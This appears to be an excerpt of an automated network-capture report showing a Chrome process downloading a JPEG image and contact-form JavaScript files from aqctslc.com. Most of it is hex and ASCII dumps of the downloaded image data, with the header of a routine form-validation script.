2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 54 96 9d 0e 82 f0 ca be 64 aa cb e5 ce a0 26 0e 70 07 f8 e6 b9 f7 12 db 66 64 95 e2 91 b2 a3 63 e1 bd 08 e3 b5 32 4d 52 e6 38 f6 08 e2 64 ce 40 39 c0 3e 9d 7b f3 fe 4d 67 cb ab dc 19 0b 79 68 58 9c f0 0f 04 77 c6 68 48 8a 74 a6 8f 46 f0 87 8f 17 c3 f1 c7 6b 7d 6f 24 71 15 03 cc 18 64 c9 90 1d f8 c6 e5 21 4b 74 24 7b 72 6a c6 a4 b1 78 96 fe 6d 56 e6 e3 7d a2 c0 a9 6d 1c 72 09 0a 92 b9 69 1c 29 e8 bf 37 0d 82 48 c7 1c d7 93 49 7d 34 8c c5 8e e6 27 92 73 91 fa d4 71 6a 57 76 ae 5a 09 5a 32 46 d2 51 88 c8 f4 38 aa dc ec 8a 76 b3 3a 6d 5d 06 97 70 63 8e 61 3c 99 64 2d 09 64 3c 77 c7 a1 ed eb 83 59 f6 b6 b3 ea 77 f6 f0 5c 4e d0 c7 24 8b 19 79 32 db 01 38 ce 3d 05 51 93 5e d4 27 76 79 6e 1a 47 62 59 99 98 92 49 f5 e6 a5 b6 d4 2e 63 3e 61 54 2c 7a 64 1e 3f 5a 14 Data Ascii: Td&pfdc2MR8d@9>{MgyhXwhHtFk}o$qd!Kt${rjxmV}mri)7HI}4'sqjWvZZ2FQ8v:m]pca<d-d<wYw\N$y28=Q^'vynGbYI.c>aT,zd?Z
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: b9 24 8e d2 46 56 1e a0 81 83 5e ef e3 1b d3 73 e1 5d 65 21 92 e9 80 46 79 3c 8b a5 97 cb 8d d3 2b b9 53 24 21 00 9c 1e 31 ce 79 ac cf 0d 25 c4 96 da 2c 67 4e b9 b9 b5 3a 14 64 48 91 c6 c8 8e 3c e3 83 b9 49 dc 7e 5c 63 8c e3 20 d1 ed 5d af 60 e4 57 b1 e2 77 ba 0e ad 60 f0 c5 79 a4 de db c9 39 22 25 9a dd d0 c8 46 33 b4 11 cf 51 d3 d6 95 bc 27 af 0d 39 75 03 a4 5d 7d 99 a5 30 83 e5 9d db 80 cf dd fb d8 c7 7c 62 bd 4f c6 b7 83 c3 f7 be 14 b9 bd 37 40 5a 5e 6a 04 34 3e 5a c9 80 c9 b0 8c a6 c1 fc 27 ee e3 15 bb a8 88 53 4c 5b f4 d6 7c 4c da 5e 9b 68 d7 03 52 b4 d5 52 45 bb 72 c0 ec 61 83 b9 81 3b 79 00 00 3d 2a 27 36 ec 35 13 c1 b4 dd 07 52 d5 f5 23 a7 58 58 cd 35 e0 0c 5a 10 b8 65 db d7 39 e9 fe 3c 55 96 f0 c6 ab 60 56 6d 5b 4a be b1 b5 ce 0c 97 36 ef 1a 93 Data Ascii: $FV^s]e!Fy<+S$!1y%,gN:dH<I~\c ]`Ww`y9"%F3Q'9u]}0\|bO7@Z^j4>Z'SL[\|L^hRREra;y=*'65R#XX5Ze9<U`Vm[J6
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: ef 06 44 b1 75 dc dc 60 e7 ee e7 3e a3 9d dd ac 2e 5d 2e 79 1f 99 e4 32 8c 47 2b f7 c3 e7 15 35 95 9d de b1 7d 1d ad 85 b4 93 5c 48 d8 58 e3 19 24 9e 94 fb 9d 3a 5b 44 85 ae 6d e4 80 c9 10 99 04 88 57 7c 67 ee b0 07 19 07 b1 e8 6b bd f8 2d 7d 2d bf 88 af ec ed e2 6f 32 7b 61 29 78 e4 2a 42 c4 e1 88 c0 47 2d bb a6 00 ce 09 c7 34 36 d2 b8 92 4d d8 e4 57 48 d4 ad 6d 84 d7 9a 75 c4 76 de 73 40 ce ca 46 1c 01 91 f8 64 55 d8 fc 15 e2 0b 8b 73 75 6b a2 df 4d 6d 80 56 54 81 b0 e0 9c 0d bf de fc 33 5e c7 e3 db fb 8b 6f 00 6a 01 d6 ef ca 78 a3 b3 26 e2 69 81 cb 6d 01 f1 24 4b b8 fe ef 92 0f 56 39 ea 29 be 13 82 5d 4b c3 be 19 f3 6d 1a 55 7b 52 8f 2a d9 3c ca be 4b bb 2e 64 f3 40 42 59 73 c2 e4 e4 0c e2 92 a8 ed 72 94 15 ec 78 7d d7 87 f5 6b 2b a8 6d 6e b4 ab e8 2e Data Ascii: Du`>.].y2G+5}\HX$:[DmW\|gk-}-o2{a)xBG-46MWHmuvs@FdUsukMmVT3^ojx&im$KV9)]KmU{R<K.d@BYsrx}k+mn.
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 8a 01 3f 28 eb 9e 95 6d fe 25 78 ba 5b 83 e6 6a 36 65 e4 6c 97 7d 36 d8 e7 27 92 4f 97 50 fd 96 2d c5 ed cd b4 cb ea aa 33 8f a5 47 25 c4 ab 70 ad 0d 95 a0 d8 41 f9 ad d4 e4 fd 29 dd 9a c6 b3 6c b3 7d f1 0b c4 b2 7d a6 e0 6a 4d e6 5c 91 e6 4a b0 a2 33 1f 2f cb cf ca 06 d3 b4 63 8c 63 f1 ac 7b 8f 17 f8 8e fb 4d 93 4f ba d6 6f 6e 2d 64 71 23 ac b3 16 24 e1 87 de 3c e3 0c d9 19 c1 ee 38 15 d9 6b 9e 1f b9 d4 ae c5 c5 be 9f 63 12 c9 0c 62 48 e2 45 40 ae 14 06 c0 e9 d4 13 4b e1 ef 08 c7 65 3c 93 5f da c1 21 e3 cb 04 2b 81 ea 6b aa 96 0e b4 da 4d 34 bb 97 3a d0 e5 ba 67 37 26 af aa ea 9a 7d 85 ad fd c6 6d 6c 63 11 db 5b a2 04 44 1f de c0 ea c7 b9 3c d6 b2 f8 bb 5b 8d 34 e1 f6 b5 76 d3 83 0b 66 96 14 90 a2 b0 c1 5f 98 1c 8c 67 00 e7 1d bb 57 60 da 66 9e 3f e5 c6 Data Ascii: ?(m%x[j6el}6'OP-3G%pA)l}}jM\J3/cc{MOon-dq#$<8kcbHE@Ke<_!+kM4:g7&}mlc[D<[4vf_gW`f?
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: ab c1 7d a6 4b 0a 5c 44 d6 f3 cd 18 75 56 38 7d 87 a1 61 db 38 ce 0f 35 ec c2 3a 58 e4 54 ef b1 a9 77 25 bc 78 4b c6 3c f2 a6 26 52 c4 7b 8e df 8d 47 05 95 be a1 27 93 15 b4 70 c5 8f bc 5b 73 b7 e3 fe 15 16 99 a4 97 70 f3 fe f0 f5 24 0c 9c 7a 8a eb 6d 60 b6 78 15 63 c3 01 cf ae 3f cf ad 26 ec 65 39 28 68 8e 6a 6f 08 44 ab ba d6 e6 54 7e d9 e7 fa 0a b1 e1 4d 36 dc 78 92 0b 6d 66 49 19 11 f7 70 b9 57 f6 3d c0 ce 33 5d 14 b0 47 1e c2 a0 ee cf 51 d7 f3 34 db 5b 3b 83 3a dd cb 6c 91 26 59 51 f7 64 b6 3a 8a d7 0f 09 55 a8 a1 dc 71 ad 37 be a6 a6 46 4d 19 02 98 29 8e fc 57 d9 ab 25 61 04 b2 54 25 a9 19 b2 69 a4 d2 18 ec d6 96 87 a4 be af 7e 23 27 6c 29 f3 4a de 83 d0 7b 9a cb f6 af 41 f0 f5 aa e9 fa 6a 29 18 91 fe 77 fa 9e df 80 fe b5 e7 e6 38 bf ab d1 ba dd ec Data Ascii: }K\DuV8}a85:XTw%xK<&R{G'p[sp$zm`xc?&e9(hjoDT~M6xmfIpW=3]GQ4[;:l&YQd:Uq7FM)W%aT%i~#'l)J{Aj)w8
2025-01-09 23:51:39 UTC	939	IN	Data Raw: 68 a0 76 15 dd 37 c9 42 31 5d 75 33 a4 b9 aa 39 76 2c 3f cc a6 b2 a7 d4 22 b4 62 24 60 bf 5a b1 6d 78 b2 c8 c0 1f bb c1 ae 63 c4 d6 cd 7b 77 0c 71 92 3e 6c 9c 54 51 a5 79 72 c8 d6 73 e5 8d d1 a2 26 6d 46 71 b7 ee 0a da b7 45 8d 42 d5 3d 32 cd 6d 6d 57 3d 40 ac ab 8f 10 47 16 bd 1d 89 61 97 15 72 5e d1 b8 c3 64 67 0f 77 de 97 53 a6 91 d6 25 2d da b8 0f 16 eb d0 b1 16 d1 b0 32 31 c7 1d ab ba 94 0b 8b 53 8e e2 bc 63 c4 3a 74 b6 be 2a 8c 12 4a c9 28 23 3f 5a 30 d4 63 52 e9 ee 6d 2a ee 93 52 48 bb 4a 0f 35 58 4f 91 d2 9e 25 f6 af 7f eb 14 fb 9e 25 99 63 35 47 51 3f ba 35 3f 9d ed 54 af 9d 9d 3e 51 59 d5 af 4f 95 ea 34 99 88 4f 26 93 34 e3 04 b9 fb a6 93 c9 93 fb a6 bc 57 5a 17 dc e9 e5 64 90 f2 f5 7c 1e 05 51 89 1d 48 f9 6a e2 6e 27 95 e0 72 6b b6 8d 7a 70 83 Data Ascii: hv7B1]u39v,?"b$`Zmxc{wq>lTQyrs&mFqEB=2mmW=@Gar^dgwS%-21Sc:tJ(#?Z0cRmRHJ5XO%%c5GQ?5?T>QYO4O&4WZd\|QHjn'rkzp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49804	172.67.74.191	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	401	OUT	GET /images/img_678003721e3aa9.20406748.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	976	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: image/jpeg Content-Length: 85420 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:19 GMT x-rgw-object-type: Normal ETag: "dad4c82e732f06b3c353aab1366d40cb" x-amz-request-id: tx000009b9542c7da5410f1-006780610b-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9S2GeDNFZW1RR23PAW6Ul3ehHEOc1B68584Joax9amXsmAMfYxq61yhytsf2UVaxkd5JDTYUTQMnSOQcXglJ%2F716MIDqUdZUma76QDw0EMa%2FMpMQczEq%2FHOAP%2Fbk2px%2F8QerXyK5Higy661O4YchFUa3PKPjdEFx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff8562149844411-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2943&min_rtt=1563&rtt_var=3195&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2479&recv_bytes=983&delivery_rate=1765417&cwnd=236&unsent_bytes=0&cid=bab31ae7b8d742d4&ts=1150&x=0"
2025-01-09 23:51:39 UTC	393	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 02 d0 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIFHH>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: e2 9d 11 db 20 34 cc d0 0f 35 4b 70 3b 0d 2a 7d c8 a3 35 b1 d4 57 21 a4 ce 43 00 4d 75 71 3e 50 1a f4 a9 4a f1 2d 6c 3c f3 50 4f 10 74 a9 b7 0a 0f 22 b4 19 c8 6a 76 9b 58 90 2b 1c 8c 1c 1a ec 75 18 43 a9 ae 52 ea 3d ac 78 ae 0a f4 ec ee 43 44 38 cd 31 b8 34 e1 d6 94 8c 8a e7 01 ab cd 49 8a 6e dc 53 85 00 27 40 69 a4 d3 c8 a6 32 92 28 b0 06 fa 70 6c 8a 66 de 28 5e 0d 00 3c b7 b5 14 9c 1a 50 32 68 b0 0b 8e 29 31 4a 73 4d ce 29 00 74 34 a1 b3 da 93 ad 1b 68 01 c7 04 54 64 54 83 14 86 80 19 8c 50 46 7b d3 ba d1 8a 60 34 0a 5e 07 6a 61 c8 3d 28 cf ad 20 1f c5 27 7a 6e 31 d0 d2 64 83 40 12 11 91 51 85 c1 a7 86 e2 83 c8 a6 03 48 a4 c5 19 20 d3 c7 14 08 6e 38 a3 6f 14 a4 8a 43 40 c3 6e 05 33 a1 eb 4e a6 91 40 80 8c 8a 42 28 a4 34 0c 31 4a 16 90 0a 5c e2 80 13 65 Data Ascii: 45Kp;*}5W!CMuq>PJ-l<POt"jvX+uCR=xCD814InS'@i2(plf(^<P2h)1JsM)t4hTdTPF{`4^ja=( 'zn1d@QH n8oC@n3N@B(41J\e
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 14 80 70 18 19 34 70 4d 37 34 0c d3 02 4c 02 29 08 c5 20 38 14 1c 9a 42 0e f8 a5 14 d0 bc d3 f1 c5 03 10 d2 05 e6 9d 8a 52 78 a4 03 42 d1 b7 9a 5d d8 a3 39 a6 03 71 83 46 29 d8 cd 04 71 46 a0 20 e0 d3 ba d3 76 d3 87 14 c0 4d b4 13 81 cd 3b 34 c2 32 3a d0 03 19 e8 dd 9a 36 73 d6 94 2f 3d 69 00 99 ef 46 73 4f da 29 76 81 40 11 e6 ae e9 f2 ec 94 73 54 d9 79 a9 2d ce d9 01 cf 7a b8 4a cc 0e de d6 4d f1 8e 7b 55 83 d2 b2 f4 d9 77 46 39 ad 40 78 af 4e 2e e8 b1 b9 ed 59 f7 b1 6f 53 5a 24 66 a1 9a 3c a1 a6 d5 d0 1c 7d cc 41 18 d5 16 ce 78 ad ad 4a 2c 36 71 59 44 62 bc da aa cc 86 44 41 c5 2a e6 9c 68 02 b2 00 ed 40 a3 3c d3 73 8a 2e 00 d4 d2 7d e9 58 e4 8a 6d 0c 07 06 f7 a5 ce 69 3a 8a 4c 1c 9a 40 3b bd 38 8e 38 a8 cf 07 ad 2e ea 60 38 1a 52 78 a6 d2 e3 34 d0 11 Data Ascii: p4pM74L) 8BRxB]9qF)qF vM;42:6s/=iFsO)v@sTy-zJM{UwF9@xN.YoSZ$f<}AxJ,6qYDbDA*h@<s.}Xmi:L@;88.`8Rx4
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 3c 72 7a d3 bb 71 51 73 9a 32 41 a2 c0 4b 8e 69 40 15 12 b1 34 ed c7 3d 28 b0 0f c5 39 46 7b d4 60 93 52 29 3e 94 80 52 31 49 9c 9a 73 1c 0a 66 ea 2e 03 b0 71 49 4b b8 52 6e 04 d0 02 8c 9a 4e 94 a0 e6 94 8c d0 00 bc d3 fb d2 01 81 41 19 34 00 66 97 8a 69 5e 29 42 d4 dd 80 67 9a 0b 91 45 23 0a 77 00 cd 27 7a 55 14 fd b8 14 00 dc 52 8c 52 11 49 40 0f a6 e3 26 90 1e 69 db b1 4c 03 14 1c 50 4e 69 a5 b1 40 0b 82 69 36 e6 94 36 69 77 60 53 01 02 52 32 e2 94 1e 69 58 12 28 02 2c 60 d3 c0 06 a3 39 07 15 22 02 28 01 4a d0 53 8c d3 8d 2d 17 02 20 86 97 6d 3f b5 00 67 b5 00 37 14 01 9a 71 5a 55 5a 2e 02 15 e2 a3 2b 93 56 08 a4 0b 93 45 c0 88 47 46 dc 03 53 11 81 51 95 e6 98 0c 03 26 97 1c d4 98 a6 95 c9 a9 01 9d 68 c5 3b 65 05 78 a2 e0 35 32 ac 08 ae 87 4b b8 24 00 Data Ascii: <rzqQs2AKi@4=(9F{`R)>R1Isf.qIKRnNA4fi^)BgE#w'zURRI@&iLPNi@i66iw`SR2iX(,`9"(JS- m?g7qZUZ.+VEGFSQ&h;ex52K$
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 49 9c 1a 00 6b 2e 0e 29 8d 91 52 6e c9 a6 30 c9 a4 03 46 69 f9 e7 9a 6d 20 24 9c 51 76 02 b5 21 00 d2 10 4d 3d 46 07 34 c4 37 a7 5a 30 09 eb 8a 71 e0 d3 58 63 a5 31 8c 27 34 36 0d 0c 36 f2 0d 30 1f 9a 80 1c 17 23 9a 29 cb c8 a2 81 0d c7 3c 52 03 8e d4 ab c5 2f 19 a2 e3 17 38 1d 28 0b 9a 43 da 97 38 00 50 02 ed e2 9c aa 05 0a 33 40 19 34 ae 21 dd a8 02 80 29 c2 8b 80 86 80 33 4b 4b 48 05 51 46 31 46 30 29 7b 52 01 00 a7 66 99 bb b5 00 66 9d c0 7e 72 68 a4 1d 69 c4 73 42 01 49 18 a0 73 da 90 0a 78 c0 14 00 83 8a 76 ef 4a 41 83 4b b7 02 8b 80 16 c8 a3 14 01 4a 4d 2b 80 05 19 a7 04 cd 0b 52 03 40 11 94 c7 14 bb 70 29 ce 33 d2 90 70 39 a0 04 23 02 93 38 a7 f5 a6 ed c1 a0 05 1c d3 fb 54 65 80 1c 90 2a 36 ba 86 21 fb c9 54 7b 67 9a 12 6f 60 b3 24 cf cd 52 67 8a Data Ascii: Ik.)Rn0Fim $Qv!M=F47Z0qXc1'4660#)<R/8(C8P3@4!)3KKHQF1F0){Rff~rhisBIsxvJAKJM+R@p)3p9#8Te*6!T{go`$Rg
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 00 e5 3c 60 d0 d4 dc e2 93 76 68 01 47 14 84 e6 90 d0 32 68 01 71 4e 07 8a 4a 50 38 a6 01 91 4a 0f 14 d2 bc d2 85 c5 30 17 1c d1 8a 50 29 4d 2b 00 de f4 b9 a4 a6 9e 0d 00 3f 34 c6 34 03 9a 46 cd 17 01 41 a7 1e 45 46 33 4e 06 80 02 28 06 9f d6 9a 47 a0 a5 60 14 73 41 5e 33 40 a5 c7 14 c0 4e 82 8e 29 08 24 d2 15 22 80 24 18 a0 f1 4c 04 8a 76 73 40 08 39 a0 8c 53 b1 41 5a 2e 02 67 9a 42 05 29 18 a6 9a 00 5a 63 53 a8 c0 a2 e0 44 4b 51 c9 1c 8a 93 1c f4 a1 86 29 01 12 82 ad 91 5b 3a 6d d1 0c 01 38 ac 8a 9a 07 2a e0 e6 b4 a7 2e 56 07 73 04 81 e3 04 1a 73 1c d6 5e 9b 31 64 03 39 ad 50 99 19 cd 7a 70 95 d1 63 01 20 d3 5c e4 10 45 4c 53 02 a3 65 c8 aa 03 03 53 85 58 93 58 87 82 45 75 d7 16 a2 45 39 15 cd 5f 40 22 97 02 b8 ab c3 a9 2c aa 29 af 9a 71 04 54 64 9c d7 Data Ascii: <`vhG2hqNJP8J0P)M+?44FAEF3N(G`sA^3@N)$"$Lvs@9SAZ.gB)ZcSDKQ)[:m8*.Vss^1d9Pzpc \ELSeSXXEuE9_@",)qTd
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 69 23 39 34 99 4f ad 0d a4 4a 01 ad 21 ab c2 a3 b5 35 b5 88 89 a5 c9 48 56 46 67 f6 4c d4 e1 a4 cb ef 5a 69 a9 c2 45 23 6a b1 03 da 8e 4a 5d c2 c8 ce fe c9 97 d4 d3 86 8f 20 ab a7 56 8f 3d 29 c7 57 88 0e 82 8e 4a 41 64 52 1a 3b 93 4e 1a 33 8f 5a b4 ba cc 43 a8 14 a7 5b 88 53 51 a4 16 45 5f ec 77 14 7f 64 3e 2a df f6 d4 44 76 a7 0d 66 23 c7 14 f9 69 05 91 98 74 c9 b3 81 4a 34 a9 b1 de b4 46 ab 0e 7b 53 ff 00 b5 e1 c7 6a 5e ce 97 71 d9 19 9f d9 72 d1 fd 93 29 35 a5 fd ab 16 7b 53 4e ad 18 3d 29 72 52 ee 2b 22 97 f6 3c b4 d6 d2 25 15 a1 fd b1 1d 21 d6 22 34 72 d2 0b 22 80 d1 e4 1d 69 5b 49 72 0e 2a f3 ea f1 85 e2 98 ba ba 13 c8 a3 96 90 68 51 3a 4c 82 9c 34 97 23 a5 5f fe d6 8b da 97 fb 56 3f 6a 7c 94 c2 c8 a1 fd 91 21 3c 66 9d fd 8e e0 55 ef ed 68 c1 ed 47 Data Ascii: i#94OJ!5HVFgLZiE#jJ] V=)WJAdR;N3ZC[SQE_wd>Dvf#itJ4F{Sj^qr)5{SN=)rR+"<%!"4r"i[IrhQ:L4#_V?j\|!<fUhG
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: f3 14 60 1c 75 e6 bd 1e fa 13 36 9d 3c 63 19 64 20 7e 55 e7 60 ec 2e 09 c9 24 10 7d ff 00 fd 62 ba f0 ef 43 48 6c 4d 68 73 24 b1 b7 45 e5 4f fb 27 9f e6 2a 34 73 23 79 80 63 3c 30 f5 14 c6 9f 66 f6 1c 76 07 d4 54 9a 79 49 ad a5 85 80 dc af 90 7d 45 6e de 86 89 6a 3e 47 31 12 24 c0 05 71 9a 86 06 20 90 e0 98 b3 92 47 6f 7a d4 9b 4b 69 a0 0d 1b 13 91 f2 9c 64 1a 82 0b 59 6c 06 4d b3 b1 7e 1a 17 1f 23 0f 63 da a3 9c d7 d9 b4 4a ba 23 f9 66 49 51 8a 64 31 65 19 04 55 19 2d 46 9c a6 7b 69 56 f7 4f 63 87 8f 3f 34 7f 87 6a d8 d3 35 eb 8d 35 8c 36 e8 12 df 18 36 f7 6c 41 1f ee b6 2b 65 6f 74 dd 67 31 0d 01 e4 9c 8c 17 50 bb 47 e2 0d 4f 31 6a 09 9c b6 8d 7b 61 1d c1 8e ea 45 6d 3e 43 c3 9f bf 01 f7 1d c7 b8 e9 5d 85 c7 81 da 4b 73 25 a4 c9 3c 4c 32 bc e7 23 d8 d4 Data Ascii: `u6<cd ~U`.$}bCHlMhs$EO'*4s#yc<0fvTyI}Enj>G1$q GozKidYlM~#cJ#fIQd1eU-F{iVOc?4j5566lA+eotg1PGO1j{aEm>C]Ks%<L2#
2025-01-09 23:51:39 UTC	943	IN	Data Raw: 72 db 2e 13 a9 a5 71 f2 9d 82 ba 1e e2 a4 21 19 70 08 24 8e 95 e5 73 eb 3a a4 ad 81 74 20 4c e3 26 ae d8 dc dd 82 04 b7 f2 e4 e0 82 41 19 a7 72 4c 8f 1d e8 ff 00 d9 da fa 6a 10 ae c5 b9 fb d8 ec e3 ff 00 ad 5d 4e 9b 70 6e f4 db 79 fb b4 60 9f ad 37 c5 36 cd 75 e1 45 96 43 be 58 a5 52 1b 1c f2 71 52 69 d2 a7 f6 64 16 e8 06 61 50 8c c0 75 20 0c d4 4f e1 39 ab d2 ba 72 5d 0b 05 69 c1 7e 5a 41 d2 9c 1b 8c 56 47 08 dd b8 34 e0 30 29 d8 c8 a3 14 80 4e a6 97 1c 52 63 9a 70 19 a6 03 09 a5 ce 05 38 8a 6e 32 69 00 99 cd 06 9f b4 62 9a 69 d8 05 0d 4f dc 33 51 e3 8a 00 a2 c0 59 c2 95 a8 08 c1 34 02 7a 66 9d da 9b 01 9d 69 76 f1 4b bb 9a 71 e6 a4 08 71 cd 3b a1 a0 8c 51 8c d0 02 93 91 4d 34 bb 79 a6 93 8a 00 30 69 e0 11 d6 91 5b 3d a9 f9 e3 81 4e c0 19 a4 39 14 13 49 Data Ascii: r.q!p$s:t L&ArLj]Npny`76uECXRqRidaPu O9r]i~ZAVG40)NRcp8n2ibiO3QY4zfivKqq;QM4y0i[=N9I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49806	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	546	OUT	GET /themes/static/js/contact-form-script.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	2145	IN	Data Raw: 38 35 35 0d 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0d 0a 2f 2f 20 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 20 4a 53 0d 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0d 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 20 2f 2f 20 53 74 61 72 74 20 6f 66 20 75 73 65 20 73 74 72 69 63 74 0d 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 61 63 74 46 6f 72 6d 22 29 2e 76 61 6c 69 64 61 74 6f 72 28 29 2e Data Ascii: 855/==============================================================/// Contact Form JS/==============================================================/(function ($) { "use strict"; // Start of use strict $("#contactForm").validator().

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49807	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	540	OUT	GET /themes/static/js/ajaxchimp.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
